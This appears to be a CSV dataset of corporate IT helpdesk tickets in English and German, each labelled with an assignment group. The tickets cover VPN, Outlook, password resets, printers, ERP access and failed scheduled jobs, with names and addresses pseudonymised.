ticket update on inplant_855239,GRP_0 +unable to connect to vpn unable to connect to vpn,GRP_0 +map network drives map network drives,GRP_0 +outlook freezes when trying to open a new email templet. outlook freezes when trying to open a new email templet.,GRP_0 +printer driver installation printer driver installation,GRP_0 +"msc not communicating with erp name:tmyeqika hfudpeot +language: +browser:microsoft internet explorer +email:lryturhy.galganski@yahoo.com +customer number: +telephone:216 +summary:msc not communicating with erp",GRP_18 +unable to login to collaboration_platform site from home unable to login to collaboration_platform site from home,GRP_0 +"circuit outage at usa-usa since 08/29 2:00 am et. site is on primary circuit. what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___yes______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ___ 08/29 2:00 am et___________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __no_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ____yes__ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___yes_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? __yes_______ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? __yes_____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_4 +msc not communicating with erp orders picking confirmed in msc are not confirming as picked in erp. all orders are showing on erp as not confirmed yet.,GRP_0 +"us25- vdklzxqg jpaftdul 66942 + +received from: wvngzrca.sfmrzdth@gmail.com + +please activate maintenance employee vdklzxqg jpaftdul 66942 email address. he is part of the maintenance group and will need email communications. + + +if i may be of further assistance please feel free to contact me at any time. + + +wvngzrca sfmrzdth, phr +human resources manager +wvngzrca.sfmrzdth@gmail.com + + + + + +",GRP_34 +ad password reset ad password reset,GRP_0 +"job SID_11_uacyltoe hxgaycze6 failed in job_scheduler at: 08/29/2016 14:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_11_uacyltoe hxgaycze6 failed in job_scheduler at: 08/29/2016 14:02:00",GRP_5 +unable to open outlook after changing the password unable to open outlook after changing the password,GRP_0 +outlook not working outlook not working,GRP_0 +unable to open ess page from home pc(win10) unable to open ess page from home pc(win10),GRP_0 +"hr_tool site will not recognize email address after windows 2016 upgrade. tried entering into hr_tool site, but cannot enter because of email address. it did not change, but windows version upgrade from 2010 to 2016.",GRP_0 +"hr_tool etime screen will not open to request vacation/time off. xszoedmc gmhkdsnw, 724, hr_tool etime. blank screen comes up when trying to access. screen shot attached.",GRP_0 +blank call //gso blank call //gso,GRP_0 +"unable to open engineering_engineering_tools from online. unable to open engineering_engineering_tools from online, files which were zipped",GRP_25 +"expense report not working when trying to create an expense report in ess i get the following error: ""infortype '0017' for 08/29/2016 does not exist for pers. no."" i've unlocked my personnel number and nothing changes. ",GRP_68 +"caller wanted to speak to email server admin, as one of his email his companys email is blocked by company. caller wanted to speak to email server admin, as one of his email his company's email is blocked by company._x000D_ +helped user with it email address help@ company.com and asked to send email with screenshot.",GRP_0 +"e-mail question _x000D_ +_x000D_ +received from: anpocezt.qturbxsg@gmail.com_x000D_ +_x000D_ +hello_x000D_ +i would like to put a ribbon on the bottom of some my e-mail with the attached information, who can i go to for help._x000D_ +i would like to make an extra signature with my name (below) and then add the information between my e-mail address and company address._x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +blank call blank call: did not receive any response from other side.,GRP_0 +office is not licensed office is not licensed,GRP_0 +"job SID_11_uacyltoe hxgaycze5 failed in job_scheduler at: 08/29/2016 12:49:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_11_uacyltoe hxgaycze5 failed in job_scheduler at: 08/29/2016 12:49:00",GRP_5 +need to map printer need to map printer,GRP_0 +"bitte um rückruf morgen um 7 uhr 30 mitteleuropäischer zeit + +received from: ptuchwad.yzvrlcqa@gmail.com + +grund: mit neueinstellung outlock 2016 geht vieles nicht mehr + +mit freundlichen grüssen +-uwe schröck +technische beratung und verkauf +ptuchwad.yzvrlcqa@gmail.com + +company deutschland gmbh +geschäftsführer: rfwlsoej yvtjzkaw, phvkowml azbtkqwx, naruedlk mpvhakdq +sitz der gesellschaft: germany/hgermany – registergerirtcht: bad homburg/hgermany hrb 7492 + + + +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung. +[#+company/posts> [ +select the following link to view the disclaimer in an alternate language. ",GRP_0 +"erp access issue : SID_34 access: user id has got locked: kundegty system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_34_x000D_ +_x000D_ +enter user id of user having the issue:kundegty_x000D_ +_x000D_ +transaction code(s) the user needs or was working with:_x000D_ +_x000D_ +describe the issue: id got locked. please release._x000D_ +_x000D_ +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket._x000D_ +_x000D_ +provide access the same as this other user:",GRP_2 +"job SID_11_uacyltoe hxgaycze4 failed in job_scheduler at: 08/29/2016 12:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_11_uacyltoe hxgaycze4 failed in job_scheduler at: 08/29/2016 12:30:00",GRP_5 +tool performance database please deactivate userid kroetzer in engineering_tool database,GRP_25 +"unable to see expense report 2111137500 from: proygkjt mwetuhqf +sent: sunday, august 28, 2016 7:11 pm +to: nwfodmhc exurcwkm +cc: ifblxjmc dyrgfwbm; callie pollaurid +subject: re: expense report 2111137500 has been submitted. + +jeffrghryeytyf strigtyet submitted his expenses below but it did not show up as a task for me to approve in the ess portal. i've approved three other employees. two before jeffrghryey submitted his and one after. please identify why jeffrghryey's expense submittal did not show up in my system to approve. i received the workflow email that he did submit. + +-----original message----- +from: workflow system [mailto:wf-batch@company.com] +sent: friday, august 26, 2016 6:14 pm +to: proygkjt mwetuhqf +subject: expense report 2111137500 has been submitted. + +the following expense report has been submitted for your approval: + +personnel no.: 1215619280 (jeffrghryeyrghryey a strgrtyiet) +expense report no.: 2111137500 +start date: 25.07.2016 08:00:00 +end date: 24.08.2016 17:00:00 +total costs: usd 1.141,89 +reimbursement amount: usd 1.141,89 + +to review this expense report in full, please log into your universal worklist on manager self-service. + +",GRP_20 +"job SID_11_uacyltoe hxgaycze3 failed in job_scheduler at: 08/29/2016 12:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_11_uacyltoe hxgaycze3 failed in job_scheduler at: 08/29/2016 12:15:00",GRP_5 +zdsxmcwu thdjzolwronization issue zdsxmcwu thdjzolwronization issue.,GRP_0 +"job SID_11_uacyltoe hxgaycze2 failed in job_scheduler at: 08/29/2016 12:07:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_11_uacyltoe hxgaycze2 failed in job_scheduler at: 08/29/2016 12:07:00",GRP_5 +outlook crashing : msd crm outlook issue outlook crashing : msd crm outlook issue ,GRP_0 +outlook freezing frequently user called in for an issue where his outlook was freezing frequently. ,GRP_3 +add im:mfg_planner_reference to the miiadmin erp SID_34 and SID_1 ids. add im:mfg_planner_reference to the miiadmin erp SID_34 and SID_1 ids. this is needed so the system will automatically backflush and close the production order. ,GRP_2 +"acces to SID_1 + +received from: aiobpkzm.rmfjwtpl@gmail.com + +hi i need access to SID_1 could you please help me + +[cid:image001.png@01d201e3.deee0330] + + +saludos !!! + +jorghge ramdntyfon abrurto tsantamaria. +supervisor credit & ar finance. +aiobpkzm.rmfjwtpl@gmail.com. + +[cid:image004.jpg@01cfa5c4.9dSID_35e40] +",GRP_0 +"unable to open outlook and skype name:phil schoenfeld +language: +browser:microsoft internet explorer +email:iotudrxg.odpcwvez@gmail.com +customer number: +telephone:330 +summary:can not open outlook and can not sign into skype for business",GRP_0 +unable to log in to mii unable to log in to mii,GRP_0 +"keybankrd _x000D_ +_x000D_ +received from: qscdktvl.rihendxu@gmail.com_x000D_ +_x000D_ +could i please have a new keybankrd. my letters are worn off the one i have._x000D_ +_x000D_ +_x000D_ +",GRP_3 +"vip 2 please add luis revilla to the group ltaballallcompanycm to access reporting_engineering_tools + +received from: tivbxojn.gorlajmp@gmail.com + +nicrhty pfgyhtu +vice president, indirect sales +industrial business segment +tivbxojn.gorlajmp@gmail.com + + + + +",GRP_2 +account unlock account unlock,GRP_0 +"companyguest access name:erirtc +language: +browser:microsoft internet explorer +email:dabhruji +customer number: +telephone:724 +summary: +hi erirtc, + +wifi access for the following is not working: + +dtbycsgf vfdglqnp +saztolpx xqgovpik",GRP_0 +"job SID_11_uacyltoe hxgaycze failed in job_scheduler at: 08/29/2016 11:04:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_11_uacyltoe hxgaycze failed in job_scheduler at: 08/29/2016 11:04:00",GRP_5 +outlook freezes. outlook freezes.,GRP_0 +"company iphone from: aorthyme rnsuipbk +sent: monday, august 29, 2016 8:34 pm +to: badgknqs xwelumfz +subject: company iphone + +hi pollaurid, + +this is regarding your mobile phone that needs to changed. +please call vendor at this number 999. +this should be the best choice to get the issue fixed. + +",GRP_0 +subject: account information updated from uperform : spam queries subject: account information updated from uperform : spam queries,GRP_0 +unable to load crm add in on outlook unable to load crm add in on outlook ,GRP_0 +subject: account information updated from uperform : spam querries subject: account information updated from uperform : spam queries,GRP_0 +mobile device activation mobile device activation company device,GRP_0 +send function is not working. (outlook 2010) send function is not working. (outlook 2010),GRP_0 +outlook is not working. outlook is not working.,GRP_0 +password reset request by ughzilfm cfibdamq. password reset request by ughzilfm cfibdamq.,GRP_0 +"accounts erstellen bitte von: gogtyekhan merdivan +gesendet: montag, 29. august 2016 11:45 +an: ughzilfm cfibdamq +betreff: accounts erstellen bitte + +hallo , +bitte accounts erstellen für 3 mitarbeiter. +ujtmipzv cwdzunxs, xaqzisrk ahbgjrqz, fyedqgzt jdqvuhlr. +diese mitarbeiter haben noch kein anmeldeaccount. + +mit freundlichen grüßen + +b.eng. qidgvtwa qvbutayx +leitung strahlen / supervisor blasting +qidgvtwa.qvbutayx@gmail.com + +geschäftsführer/managing directors: phvkowml azbtkqwx, naruedlk mpvhakdq + +sitz/registered office: germany - registergerirtcht/listed in the court register +persönlich haftende gesellschafterin/general partner: company company beteiligungs gmbh +sitz/registered office: fürth/bay. - registergerirtcht/listed in the court regster + + + +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung. + +select the following link to view the disclaimer in an alternate language. +",GRP_0 +need the bex analysis add-in need the bex analysis add-in,GRP_0 +unable to launch outlook unable to launch outlook,GRP_0 +unable to connect to vpn unable to connect to vpn,GRP_50 +"failed skype mtg. _x000D_ +_x000D_ +received from: yiramdntyjqc.qtrcepsa@gmail.com_x000D_ +_x000D_ +dear it,_x000D_ +i tried to join a s&op forecasting training session today but could not see the presenter's screen. below is the link, the training has been rescheduled for this coming friday. is there anything i can check before friday to insure i don't have this problem again?_x000D_ +",GRP_0 +adding members to shared mailbox groups adding members to the shared mailbox group,GRP_0 +prtgghj4k and SID_67 password reset unable to login to prtgghj4k and SID_67 systems,GRP_0 +account unlock account unlock,GRP_0 +wifi not working. wifi not working.,GRP_0 +need initial password reset for erp prtgghj4k (hr_tool) module need initial password reset for erp prtgghj4k (hr_tool) module,GRP_2 +unable to login to erp SID_34 unable to login to erp SID_34,GRP_0 +"laptop will not turn on, either docked or un-docked while connected to ac or just on battery. laptop will not turn on, either docked or un-docked while connected to ac or just on battery.",GRP_3 +once external monitor is not working and the other is flickering. once external monitor is not working and the other is flickering.,GRP_3 +erp SID_34 password reset erp SID_34 password reset,GRP_0 +"laufzeitfehler bei hrp (hcm production) folgender fehler ist bei der erstellung der zeitnachweise aufgetreten: siehe anhang + +alle ferienarbeiter bzw. randstad-mitarbeiter sind nur bis einschließlich donnerstag, den 25.08.16 im system. + + +",GRP_0 +outlook hangs. outlook hangs.,GRP_0 +"users in usa plant code plant_241 northgate are unable to see companyguest network. users in usa plant code plant_241 northgate are unable to see companyguest network. this is on phone as well as laptop. + +phone: 724",GRP_4 +"dmitazhw kxbifzoh : lock out dmitazhw kxbifzoh : lock out _x000D_ +mii system",GRP_0 +ticket update on inplant_855076 ticket update on inplant_855076,GRP_0 +we don't able to insert money value in crm's authorization return we don't able to insert money value in crm's authorization return,GRP_13 +unable to connect to vpn. unable to connect to vpn.,GRP_0 +"erp SID_37 issue 800 +summary:need help gaining access to a query in SID_37. i can get into SID_37, i can get into be analyzer, i can find the query name i am looking for (csr quote count) but when i try to open it i get a error message that reads: a critical programdnty error has occurred. the programdnty will now terminate. i need access this week for training that i have scheduled",GRP_0 +login help to : hub login help to : hub,GRP_0 +please remove security role z:comp_sales_rep from user matghyuthdw (dthyan matheywtyuews) please remove security role z:comp_sales_rep from user matghyuthdw (dthyan matheywtyuews). action needs to be taken immediately as it causing a security breach. please assign ticket to sudghhahjkkar reddy.,GRP_2 +reset the password for btelgpcx nrlfhbmu on erp / production / erp reset the password for btelgpcx nrlfhbmu on erp / production / erp,GRP_0 +"HostName_1294 (bia - search_server) : multiple process went down since at 8:23 am et on 08/29. search_serverrfcserver2_x000D_ + search_serverindexserver_x000D_ +search_servernameserver_x000D_ +trx.erpSID_63_trx0",GRP_14 +new password not updating in the windows new password not updating in the windows,GRP_0 +system frozen on startup system frozen on startup,GRP_0 +unable to view hr_tool global view and crm on collaboration_platform unable to view hr_tool global view and crm on collaboration_platform,GRP_0 +"skype not working + +received from: yzugpdco.nsyapewg@gmail.com + +hello team, +just to inform that skype is not working from my pc + + +yzugpdco nsyapewg +director sales, company +europe, +yzugpdco.nsyapewg@gmail.com + + + + +",GRP_0 +"hdmi cable to meeting room + +received from: inxsupmy.zhwmifvx@gmail.com + +hello team , + +please arrange the hdmi cable to all the meeting room to connect the projector .since most of the new laptop are hdmi dependent where we are unable to connect via the current cable and we always depend it ,sometime it might be onsite in that case it's very difficult + +inxsupmy zhwmifvx +team lead - ssl (sourcing & logistics) +inxsupmy.zhwmifvx@gmail.com + + + + +",GRP_19 +"vpn access + +received from: troxyekl.lzdvgwut@gmail.com + +hello, + +please usa access to the eu vpn for user xfuqovkd efsdciut (seefgrtybum) and atydjkwl sotmfcga (vvrtgwildj) + +",GRP_34 +"job Job_1314 failed in job_scheduler at: 08/29/2016 08:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1314 failed in job_scheduler at: 08/29/2016 08:20:00",GRP_9 +unable to open opportunities in crm online unable to open opportunities in crm online. user was able to do it a week back but now its showing access is denied.,GRP_40 +password reset : password_management_tool password manager. password reset : password_management_tool password manager.,GRP_0 +"open order schedule lines_p2016-08-28-22-03-54 hallo ruchitgrr, hallo frau haug, + +leider enthält dieser report nur meine tsk positionen. +entsprechend der beschreibung sollte mein gesamtes verkaufsgebiet ( alle ad?) abgebildet sein + +gruß + +anivdcor rbmfhiox +sales manager +sales germany + +anivdcor.rbmfhiox@gmail.com + +company deutschland gmbh + +-----ursprüngliche nachricht----- +von: .erp-bo-publications@company.com [mailto:.erp-bo-publications@company.com] +gesendet: montag, 29. august 2016 04:58 +an: anivdcor rbmfhiox +betreff: open order schedule lines_p2016-08-28-22-03-54 + +hello. + +this report is your weekly open order schedule lines report. it lists all scheduled delivery dates for open orders for your customers. + +it is expected that you will use this report to effectively manage your sales territory. + +if you have any questions with regard to the report please contact your regional sales operational excellence lead. + +how to read this report +all scheduled order items are listed on the report. the columns with the purple field names show total values for that line on the order, and should not be added together. these total values will appear on every scheduled line. in the example below, a line item has a total quantity ordered = 10 pieces and three scheduled deliveries of 1, 2 and 7 pieces. the report will repeat the total quantity ordered = 10 on every schedule line: + +order nbr item nbr create date qty sched value sched date sched unit price qty order +blue_____ blue____ blue_______ blue_____ blue_______ blue______ blue______ purple___ +23456789 20 6/12/2013 1 $5 6/15/2013 $5.00 10 +23456789 20 6/12/2013 2 $10 6/22/2013 $5.00 10 +23456789 20 6/12/2013 7 $35 6/29/2013 $5.00 10 + +please do not reply directly to the sender of this mail +",GRP_9 +"outlook inbox updating + +received from: xfdkwusj.gyklresa@gmail.com + +hello +since this morning outlook is ""updating"" my inbox (see image of message) + + +[cid:image001.jpg@01d201ff.842dd490] + +bad thing it is sucking out my bandwidth and slow my connection; +also - when i went in pasue for lunch it was at 3,6 gb left, after i returned it started again from 3,99 gb… + + +xfdkwusj gyklresa +sales manager earthworks european served area - south +xfdkwusj.gyklresa@gmail.com + + +please note our new telephone number and company address effective 22.08.2016. +********************************************* + +company infrastructure gmbh +geschäftsführer: phvkowml azbtkqwx und naruedlk mpvhakdq + + + +",GRP_0 +ad locked out ad locked out,GRP_0 +user wants to log in to infonet user wants to log in to infonet,GRP_0 +"no access to netweaver when i try to connect with netweaver these 2 messages appears._x000D_ +1 / access way not found._x000D_ +2 / this don't treat properties of ''register library''.",GRP_0 +"error code 0x0 when accessing user dashbankrd on mobile app when accessing dashbankrd created for ap management team on mobile app, the above error code is encountered. see attached screenshots.",GRP_40 +"check router wifi (router: sao-pollaurido-mercedes-ap)- site: south_amerirtca - sp - são bernardo campo (mercedes benz) hi team, please check the router wifi sao-pollaurido-mercedes-ap, the site company -south_amerirtca - são pollaurido / são bernardo campo. no is possible connect network wifi - companysecure, this network no is visible to users local. if you need connect remotely or has more doubts please, return me.. ",GRP_4 +account locked in ad account locked in ad,GRP_0 +"job bkwin_HostName_768_inc failed in job_scheduler at: 08/29/2016 07:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_HostName_768_inc failed in job_scheduler at: 08/29/2016 07:30:00",GRP_5 +"password unlock for venkthrysh + +received from: nmtekfrz.tjxzeuqm@gmail.com + +hi, + +please unlock the password for userid venkthrysh + +the laptop is locked due to entering wrong password. ",GRP_0 +"wendt wac 745 quattro's 5 & 6 an pc bzw. server anschließen bitte die letzten 2 umfangsschleifmaschinen in plant_107 / ce iso g an den computer bzw. an server anschließen, damit man sich den usb stick sparen & die programdntyme direkt auf die maschine ziehen kann.",GRP_42 +"printer configuration. 962 +summary:i want to configure printer to my laptop which is available in t1",GRP_0 +"the tess application on citrix does not work anymore. when i login to kas.company.com and try to start the tess app i receive the error message._x000D_ +i have contacted by our designes in scandinavia from the company fortive that they receive the same error message._x000D_ +please do the needful",GRP_12 +"it help _x000D_ +_x000D_ +received from: scjxobhd.ldypjkmf@gmail.com_x000D_ +_x000D_ +hello help team,_x000D_ +_x000D_ +can you pls. open a ticket to be assigned to fürth._x000D_ +i need help with excel and hardcopy._x000D_ +_x000D_ +_x000D_ +",GRP_28 +"asking about cost of material of plant_82 dear it team + +i have sent ticket to -erp-fico as below since last friday but i have not received ticket number yet till now. please advise. + +best ",GRP_44 +unable to change my telephony_software password - it has not yet expired (expires in 4 days) please change my telephony_software interaction desktop password. i get a message that the request to change password has failed (pls see the attached screenshot),GRP_7 +"following up hello it,_x000D_ +_x000D_ +please can you block this email address in company email server.? _x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"connectivity issue at company carrier location fya._x000D_ +_x000D_ +best ",GRP_4 +erp SID_34 password reset erp SID_34 password reset,GRP_0 +"job Job_593 failed in job_scheduler at: 08/29/2016 05:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 08/29/2016 05:20:00",GRP_8 +reset passwords for cesgrtar abgrtyreu using password_management_tool password reset. the,GRP_17 +"telefon-display _x000D_ +_x000D_ +received from: pnroqajb.psbyfhkg@gmail.com_x000D_ +_x000D_ +hallo helpteam,_x000D_ +_x000D_ +das display meines telefons ist teilweise unsichtbar und somit ganz schlecht abzulesen._x000D_ +_x000D_ +vielen dank!_x000D_ +_x000D_ +viele grüße / best ",GRP_33 +"business_client issue :+49 +summary:need netweaver to check drawing documents. when opening follwing error message "" microsoft.net framdntyework 4.5 not installed. please contact administrator""",GRP_0 +"phone is not connoected wit caas server. hello; + +i can't pick up the pone, this is the error message. +could you help me please?. + +id 31751 +best ",GRP_7 +delievery item category determination delievery item category determination for rl -0001 has to be assigned.,GRP_45 +"access to common mail box _x000D_ +_x000D_ +received from: pradtheypxsuqgidj.txlpcqsg@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i am the owner of the following common mail box;_x000D_ +_x000D_ +1. -knowledge.center@kenametal.com_x000D_ +_x000D_ +2. w-in-knowledge.center@company.com_x000D_ +_x000D_ +my concern today is that i am able to view w-in-knowledge.center@company.com but unable to view -knowledge.center@company.com_x000D_ +pl see below the screenshot. request, pl resolve the same._x000D_ +_x000D_ +[cid:image001.jpg@01d201fe.b2f53120]_x000D_ +_x000D_ +best ",GRP_0 +"kurtyar khty + +received from: aksthyuhath.shettythruy@company.com + +hi, + +please reset the password and send the new password to his manager mr. sbfhydeep kurtyar +emp no + +name + +useid + +manager + +20293560 + +saoltrmy xyuscbkn + +kurtyar khty + +nrbgctwm kfwdhrmt + + + +with ",GRP_0 +"vvrttraja + +received from: aksthyuhath.shettythruy@company.com + +hi, + +mr. aetwpiox eijzadco is unable to login ess portal. please reset the password and send the new password to his manager mr. shynhjundar s + +emp no + +name + +useid + +manager + +202856785 + +aetwpiox eijzadco + +vvttraja + +shynhjundar s + + + +with ",GRP_0 +"vpn router : company-eu-deu-germany-dmvpn-1811-rtr02 down vpn router : company-eu-deu-germany-dmvpn-1811-rtr02 down_x000D_ +erp is working ok_x000D_ +everything else is very slow.",GRP_8 +"urgent shipping issue. hello wohtyugang and ethryju. we have a critical situation with shipping on distributor_tool. this customer has complained before and i researched but couldn't determine a problem. we had another customer, bill north, with atnh call for 2nd time yesterday. they are saying when they choose the nda shipping the orders are changing to ups ground. i thought originally they might be setting the carrier and then selecting the ship to but as you can see if the screenshot this is not the case. +i will continue to uacyltoe hxgaycze and try to determine the problem but i wanted to get this reported as quickly as possible. +",GRP_21 +"complaint 7611183254 / workfflow i create a complaint 7611183254_x000D_ +the complaint ist not in the workflow to approval_x000D_ +please help me",GRP_13 +"anmeldeaccount ""mp_ek"" am pc ""empw8111328a:--12/13 einrichten . bei rückfragen durchwahl 134 bei lqjoagzt gqueiatx . am oben genannten pc muss der anmeldename ""mp_ek"" freigegeben werden. wie mit crishtyutian pryes besprochen.",GRP_0 +monitor tauschen \htvepyua izgulrcf monitor tauschen \htvepyua izgulrcf,GRP_24 +"customer name ""hronovsky"" does not listed in engineering tool. erp id - 8561028063. name:rekmqxfn jctgwmyi +language: +browser:microsoft internet explorer +email:rekmqxfn.jctgwmyi@gmail.com +customer number: +telephone:0042 +summary:customer name ""hronovsky"" does not listed in engineering tool. erp id - 8561028063. +please check and add this customer. +",GRP_25 +"netzwerk für scan nicht verfügbar, bitte prüfen we10 und we111 \vzqomdgt jwoqbuml netzwerk für scan nicht verfügbar, bitte prüfen we10 und we111 \vzqomdgt jwoqbuml",GRP_24 +"zeitwirtschaft germany seit 25.08.2016, 6.00 uhr morgens, sind für werk germany keine zeitbuchungen vorhanden. bitte den fehler beheben. dringend !!!!!_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +the reason of this ticket is that for germany plant (and also for germany plants)_x000D_ +we do not get any time – account data from EU_tool transferred to erp hrp._x000D_ +the problem exists since aug 25!!!_x000D_ +_x000D_ +it has nothing to do with today`s network problems at germany._x000D_ +_x000D_ +this is serious because of month end closing on thursday._x000D_ +_x000D_ +",GRP_25 +probleme mit we_wu123 \xwirzvda okhyipgr probleme mit we_wu123 \xwirzvda okhyipgr,GRP_24 +probleme mit kiosk\ompeztak ilkpqtjh \bur am orde probleme mit kiosk\ompeztak ilkpqtjh \bur am orde,GRP_24 +sql installation sql software installation,GRP_19 +"we 108 scannt nicht mehr hallo ,_x000D_ +_x000D_ +unser drucker we 108 scannt nicht mehr richtig ein. es kommt immer die meldung „auftrag wurde nicht abgeschlossen"". wenn man dann auf detail geht steht dort „anmelde fehler"". kannst du das bitte mal überprüfen?_x000D_ +am freitag ging es noch, samstag trat dann dieser fehler auf._x000D_ +",GRP_24 +"erp access issue system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_34_x000D_ +_x000D_ +enter user id of user having the issue:rethtyuzkd_x000D_ +_x000D_ +transaction code(s) the user needs or was working with: fb01_x000D_ +_x000D_ +describe the issue:_x000D_ +please remove_x000D_ +fi:gl_accountant_ch_x000D_ +fi:gl_accountant_we_x000D_ +as per voprdmae ivrgdmao and ltnivuhw zbudwnfr user should not be able to post accounting documents. _x000D_ + _x000D_ +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket._x000D_ +_x000D_ +provide access the same as this other user:",GRP_2 +reset passwords for bxeagsmt zrwdgsco using password_management_tool password reset. the,GRP_17 +"password reset _x000D_ +_x000D_ +received from: htburown.hpkfjqyr@gmail.com_x000D_ +_x000D_ +hai ,_x000D_ +_x000D_ +can you reset my passwords for all logins,_x000D_ +_x000D_ +kind ",GRP_0 +"HostName_895 is down since 03:04 am et on 08/29. HostName_895 is down since 03:04 am et on 08/29. +the server is rebooted at 3am daily but for today after reboot the server is still down. +srirgrtyam has been informed.",GRP_12 +"help to create delivery for sto 4908050542 _x000D_ +_x000D_ +received from: gjtyswkb.dpvaymxr@gmail.com_x000D_ +_x000D_ +dear it,_x000D_ +_x000D_ +would you pls help to create delivery note for sto 5019161653,it's urgent for plant_305,for something error we unable to create, ",GRP_6 +"cannot login good morning, + +we cannot login to SID_1 due the following error: +""logon balancing error 88: could not connect to message server: (rc=9) +do you want to see detailed error information?"" + +can you please check and let me know? +he error exists at least for fleisrgtyk and me (leibdrty)",GRP_0 +"user account is being locked again - zhrgtangs7 + +received from: kbclinop.vsczklfp@gmail.com + +hi, +user id : zhrgtangs7 account is being locked again when the computer went into screensaver. + +",GRP_0 +"engineering_tool installation issue for distribuators detailed description of the problem including shopfloor machine name?_x000D_ +_x000D_ +sogo / engineering_tool [or other app using vlan50] location?_x000D_ +_x000D_ +source ip from traffic generated?_x000D_ +_x000D_ +destination ip?_x000D_ +_x000D_ +type of application (eg: rdp / ping / teamviewer)?_x000D_ +_x000D_ +any specific port traffic alone been blocked?_x000D_ +_x000D_ +when did it work last?_x000D_ +_x000D_ +is the issue specific to only the location mention or for other sogo / engineering_tool location?_x000D_ +_x000D_ +additionally attach the screenshot of the ping / tracert traffic._x000D_ +",GRP_0 +"problem beim skannen von unterlagen + +received from: jctnelqs.lansuiwe@gmail.com + +verehrte damen und herren, + +aktuell funktioniert das einskannen von unterlagen nicht. (….kein zugriff) + +drucker mp72 +pc – nr. empw8111312 + + +bitte um abhilfe. + +mit freundlichem gruß + +jctnelqs lansuiwe +quality assurance +jctnelqs.lansuiwe@gmail.com + +persönlich haftende gesellschafterin: company gmbh +sitz der gesellschaft: fürth - registergerirtcht: fürth hrb 10257 + +",GRP_0 +"ms office 2016 installation wird nicht abgeschlossen, siehe anhang! tel.: 107 office installation wird nicht abgeschlossen!",GRP_0 +"tr: rappel: vous avez un nouveau message ! **** spam **** _x000D_ +_x000D_ +received from: hupnceij.hyozjakb@gmail.com_x000D_ +_x000D_ +hello all,_x000D_ +it's a spam, i do not have any account in ingdirect, and if i would have one, wouldn't related to my company email_x000D_ +_x000D_ +sincères salutations, best ",GRP_0 +scannen funktioniert nicht scannen auf publik beim drucker mp60 funktioniert nicht.,GRP_33 +"zlgmctws khfjzyto don´t have access to her computer / she has forgotten her password, could you please help us? _x000D_ +_x000D_ +received from: qbewrpfu.lwibmxzo@gmail.com_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_0 +account locked out and password reset account locked out and password reset ,GRP_0 +"erp password locked _x000D_ +_x000D_ +received from: gnasmtvx.cwxtsvkm@gmail.com_x000D_ +_x000D_ +hi._x000D_ +_x000D_ +please unblock the erp password._x000D_ +_x000D_ +userid: hegdthy (gnasmtvx cwxtsvkm)_x000D_ +_x000D_ +",GRP_0 +"scanner im werk germany steel funktionieren nicht! for your information: ngprt29, the printer name",GRP_0 +"job Job_1338 failed in job_scheduler at: 08/29/2016 02:14:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1338 failed in job_scheduler at: 08/29/2016 02:14:00",GRP_9 +"laptop key bankrd not working please do the needful. + +for company +athjyul dixhtyuit , +m +91 + +from: athjyul dixhtyuit +sent: saturday, july 30, 2016 1:14 pm +to: 'help@company.com' +subject: laptop key bankrd not working + +my laptop key bankrd not working . please depute dell person to attend the problem. + +laptop model is latitude 7350. +asset code is 801302 +service tag-dcgw262 + +for company + +athjyul dixhtyuit +senior manager sales - north ( msg) +qubywmgf.jouickqx@gmail.com + + +companytm + +",GRP_19 +not able to print on id02 not able to print on id02,GRP_19 +scannen vom scanner vh48 geht nicht mit dem hinweise: laufwerk nicht bekannt! scannen vom scanner vh48 geht nicht mit dem hinweise: laufwerk nicht 